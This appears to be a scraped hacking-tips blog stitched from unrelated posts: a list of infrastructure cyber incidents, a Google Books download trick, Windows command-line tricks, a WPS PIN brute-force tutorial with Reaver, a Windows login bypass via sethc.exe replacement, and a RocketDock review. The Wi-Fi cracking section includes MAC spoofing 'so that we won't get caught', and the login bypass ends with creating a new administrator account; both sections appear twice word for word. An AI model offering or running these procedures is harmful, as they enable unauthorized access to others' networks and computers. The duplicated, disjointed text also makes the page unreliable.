Well-known IncidentsAaron Caffrey, 19, brought down the Port of Houston October, 2003. This is
thought to be the first well-documented attack on critical US infrastructure.
In August 2003, computer systems of CSX Transportation got infected by a
computer virus, halting passenger and freight train traffic in Washington,
DC.
In 2003, the east coast of America experienced a blackout, while not the
cause, many of the related systems were infected by the Blaster worm.
Computers and manuals seized 2003 in Al Qaeda training camps were full
of SCADA information related to dams and related structures
Ohio Davis-Besse nuclear power plant safety monitoring system was offline
for 5 hours due to Slammer worm in January 2003
2001, hackers penetrated a California Independent System Operator which
oversees most of the state's electricity transmission grid, attacks were
routed through CA, OK, and China.
Download
Here is the trick to download google book and read it off line also.
How to do this?
Step 1:
Download/install Greasemonkey addon(Customize the way a web page displays or behaves, by using small bits of JavaScript.) in Firefox
Install this userscript :google book download
Download/install the Flashgot (FlashGot is the free add-on for Firefox and Thunderbird, meant to handle single and massive ("all" and "selection") downloads with several external Download Managers. )
Download/install Flashget(Download Manager)
Step 2:
View your favorite book.
For Example: http://books.google.com/
In the left panel, click Download this book
Select all pages, right-click, choose FlashGot Selection
Press OK to start downloading. Note : Download only one page at a time, or your IP will be banned
After the downloading is finished, in FlashGet, left panel, choose Downloaded folder.
Select all pages of the book, right-click, choose Rename -> put File name
1.Start
2.Run
3.Type "cmd"
Now you are in DOS PROMPT
Navigate to The Drive where you wanna create your Folder.
For example if you wanna create a folder in D:/ Type "D:" ( without quotes")
4. Type "md \aux\\" without quotes marks and hit enter. ( without quotes")
A Folder named "aux" will be created there.
Your Folder is created. Try to delete it. A common computer user can not delete it. IF you wanna delete it.
Again Go to DOS PROMPT .
Type: Type "rd \aux\\" and press Enter. The folder Will be delete
1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "cmd" and hit ok You should now be at an MSDOS prompt screen.
4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.
8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab 11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again
You should now be back to the "Local Area Connection" screen.
15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically" tongue.gif
18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address With a little practice, you can easily get this process down to 15 seconds.
WPA/WPA2 password can be cracked simply by capturing WPA handshake and
then applying a dictionary attack on them. If he passphrase is in the
dictionary then password will be cracked, and this process may take
hours, in some cases in even days. But what if password is not in
dictionary?
So here we will learn to crack these passpharses
WPS:- Wi-Fi Protected Setup (WPS; originally Wi-Fi Simple Config) is a computing standard that attempts to allow easy establishment of a secure wireless
home network. By default this is enabled in most of routers.
Using Reaver we will brute force the AP's WPS, attempting every possible combination in order to guess the AP's 8 digit pin number. Since the pin numbers
are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which
can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values.
The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually.
Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in
11,000 attempts.So here key concept is that we can brute-force that pin, and can get all the credentials kept for Access Point which can be any combination of
digits, special symbols
Let's Start :
Boot your Backtrack :
Let's we will change the mac address of our network card so that we won't get caught
airmon-ng start wlan0
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
Now run the following the command to get all the available AP's
wash -1 mon0
Now choose your target and note its bssid and issue the following command replacing <bssid> with the targets bssid:
reaver -i mon0 -b <bssid> -vv
Now wait until you Reaver brute force's the pin. Once its done, you'll have
WPS Pin
WPA PSK
AP SSID
So here we will learn to crack these passpharses
WPS:- Wi-Fi Protected Setup (WPS; originally Wi-Fi Simple Config) is a computing standard that attempts to allow easy establishment of a secure wireless
home network. By default this is enabled in most of routers.
Using Reaver we will brute force the AP's WPS, attempting every possible combination in order to guess the AP's 8 digit pin number. Since the pin numbers
are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which
can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values.
The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually.
Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in
11,000 attempts.So here key concept is that we can brute-force that pin, and can get all the credentials kept for Access Point which can be any combination of
digits, special symbols
Let's Start :
Boot your Backtrack :
Let's we will change the mac address of our network card so that we won't get caught
airmon-ng start wlan0
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
Now run the following the command to get all the available AP's
wash -1 mon0
Now choose your target and note its bssid and issue the following command replacing <bssid> with the targets bssid:
reaver -i mon0 -b <bssid> -vv
Now wait until you Reaver brute force's the pin. Once its done, you'll have
WPS Pin
WPA PSK
AP SSID
Follow the steps to bypass:
1) Press the power button to turn on your computer.
2) While ur on the screen with the animated microsoft logo press and hold the power button until turn off.
3) Press the power button to turn on again.
4) You should now see the option to bunch Start Up repair.. Select the option and press enter.
5) Run Startup Repair.
6) You should see a blue bar tht moves across the screen repeatedly. Above it should be messages
tht say "searching for problems" or something. The message should change to "Attempting repairs" within a few minutes.
7) Leave the computer running. This message should be there for 10-40 minutes depending on your computer.
A message should pop up tht says "start up repair could not fix the problem". Click the arrow next to "show problem details".
8) Scroll to the bottom and click the lnk to the .txt .
9) Notepad should open up with the file.
10) In notepad click File->Open. You can now use the file browser to perform the sethc.exe hack .
11) Go to C:Windows\system32 and find sethc.exe and rename to random.exe or somethign.
12) Copy the cmd.exe and rename the copied file to sethc.exe
13) Restart the computer and at the login screen press the "shift" key 5 times n quick succession.
14) Type in the cmd window "control userpasswords2" without the quotation marks.
15) You can now make a new admin account and login
Follow the steps to bypass:
1) Press the power button to turn on your computer.
2) While ur on the screen with the animated microsoft logo press and hold the power button until turn off.
3) Press the power button to turn on again.
4) You should now see the option to bunch Start Up repair.. Select the option and press enter.
5) Run Startup Repair.
6) You should see a blue bar tht moves across the screen repeatedly. Above it should be messages
tht say "searching for problems" or something. The message should change to "Attempting repairs" within a few minutes.
7) Leave the computer running. This message should be there for 10-40 minutes depending on your computer.
A message should pop up tht says "start up repair could not fix the problem". Click the arrow next to "show problem details".
8) Scroll to the bottom and click the lnk to the .txt .
9) Notepad should open up with the file.
10) In notepad click File->Open. You can now use the file browser to perform the sethc.exe hack .
11) Go to C:Windows\system32 and find sethc.exe and rename to random.exe or somethign.
12) Copy the cmd.exe and rename the copied file to sethc.exe
13) Restart the computer and at the login screen press the "shift" key 5 times n quick succession.
14) Type in the cmd window "control userpasswords2" without the quotation marks.
15) You can now make a new admin account and login
Rocket Dock. Have you heard about this application. Its really a good
software to launch our favorite applications from the Desktop. Its like
cool Animated Bar on the desktop screen on which we can put any
application like shortcut and launch those applications by just a single
click. It has cool animation effect on mouse move event.
Have a look its appearance in this pic :
See the pic how it looks. Its really looks cool on our desktop. In above
pic this bar is having default icons on it. But you can change their
icons as you like and also put your own applications on the bar, so you
can launch them easily by just a single click. We can put this bar on
any corner of the window as we like. If someone feels that they having
lots of icons on their desktop screen then this software is perfect for
them. They can put those icon on this bar. As this bar not occupy the
whole screen and as its look more cool too so its a great option to
have.
Its quite easy to put apps on this bar too. Just need simple drag and
drop and you will have that app on that bar. And also it is fully
customizable. You can customize it the way you want. You can also change
the appearance of it and also select the different animation on mouse
hover.
So I guess its really worthy application to have. You can customize your
desktop very well using this app. It runs good on slower computers too.
And most important thing is that its FREE.
To Download : Click Here
I hope you liked it. :) Have fun.
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